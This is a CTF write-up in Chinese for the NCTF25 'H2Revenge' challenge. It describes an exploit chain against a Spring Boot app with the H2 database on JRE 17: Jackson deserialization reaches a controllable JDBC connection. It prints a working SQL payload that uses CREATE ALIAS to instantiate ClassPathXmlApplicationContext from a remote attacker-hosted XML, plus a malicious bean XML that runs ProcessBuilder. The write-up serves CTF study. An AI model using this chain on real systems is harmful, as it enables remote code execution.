NCTF25--H2Revenge
1diot9 Lv3

思路确定

题目是jdk17环境,先看依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.4.3</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.3.232</version>
</dependency>

分析一下可用资源:

1、springboot自带的jackson链

2、h2可以打JDBC,能够自定义函数执行,或者直接用JavaScript引擎加载(这个方法在jdk17失效)

3、有tomcat,但是版本比较高,10.1.36,在jndi时也许能用

再看一下题目:

1、从Dockerfile里可以看到,是jre17,而不是jdk17。这意味着我们无法编译代码

2、反序列化入口明显,且没有任何过滤

3、MyDataSource存在getConnection方法,且连接的url可控

综上,能够大概确定思路:

1、jackson触发MyDataSource的getConnection,然后打h2数据库

h2 新打法

一般来说,h2数据库要么用自定义函数执行,或者直接用JavaScript引擎加载。不过这两种这里都不能用。前者因为自定义的函数在jre环境下无法编译,后者是因为jdk17里JavaScript引擎被废除。因此我们需要找新的方法。

如果做过其他jdk17打JDBC的题,就会发现:许多数据库都是可以直接调用Java的public static方法的。h2也不例外,这点可以去翻看官方文档https://h2database.com/html/features.html![img](image-1746531786413.png)

或者去问AI验证一下:imgimg

那么,我们现在就可以确定怎么打h2 JDBC了。不过我们还需要确定通过什么public static方法去打。

看了wp,发现里面用的是org.springframework.cglib.core.ReflectUtils#newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])

ReflectUtils是Springboot自带的一个很好用的类,里面还有defineClass。

另外,值得一提的还有org.springframework.util.SerializationUtils#deserialize,这个可以用来二次反序列化。

后面新学了一个rce的方法,就是加载xml。就是通过org.springframework.context.support.ClassPathXmlApplicationContext的构造方法加载恶意xml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package solution;

import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.lang.reflect.Constructor;

public class ClassPathXml {
public static void main(String[] args) throws Exception {
Tools17.bypassModule(ClassPathXml.class);
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext();
Class<?> aClass = Class.forName(context.getClass().getName(), false, context.getClassLoader());
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
declaredConstructor.newInstance("http://127.0.0.1:9990/1.xml");

}
}
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

直接在xml目录下起一个http服务就行。

最后还需要编写一下poc.sql文件。这里也有一个注意点,先展示:

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://vps:port/h2_revenge_evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

要注意的地方就是@url_str算varchar类型,而我们的newInstance里需要Object[],所以需要找一个public static类,能够把String转为Object。(这里勘误一下,应该是Object转为String。因为最终需要的Object[]里面的内容是String,而现在需要将VERCHAR转为String。并且ARRAY[]只支持String。但是这样下面的查询语句就不对了,也就找不到wp里的那个类了,不知道有没有师傅知道应该怎么解释)用tabby找一下:img

搜出来的方法不是很多,排除掉没有exports的模块其实剩的就很少了。我们需要的javax.naming.ldap.Rdn.unescapeValue也在里面。

tabby找新类(失败)

这里我发现org.springframework.scripting.bsh.BshScriptUtils#createBshObject应该也行,给的输入是”new java.lang.Object[]{"http://127.0.0.1/1.xml\"}"就行。然而这个类本身有报错,说是包没导入:![img](image-1746531786459.png)

我想既然spring里有这个类,那不应该自动下所需的包吗,不知道这里为什么。

后面又去试了一下createBshObject,发现可能不行。虽然能返回Object[],但是h2sql转化不了,会报类型转化错误,不知道有没有师傅可以解决。

最后觉得应该是必须用 sql 语句自带的 ARRAY 转成 Object 数组,而不能直接传一个 Object[]。然后上面那个缺失包的情况,其实还挺常见的,就是在需要用时,自己把包导入。所以这题就没法用这个新找的链子了。自己找链子又失败了,悲。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量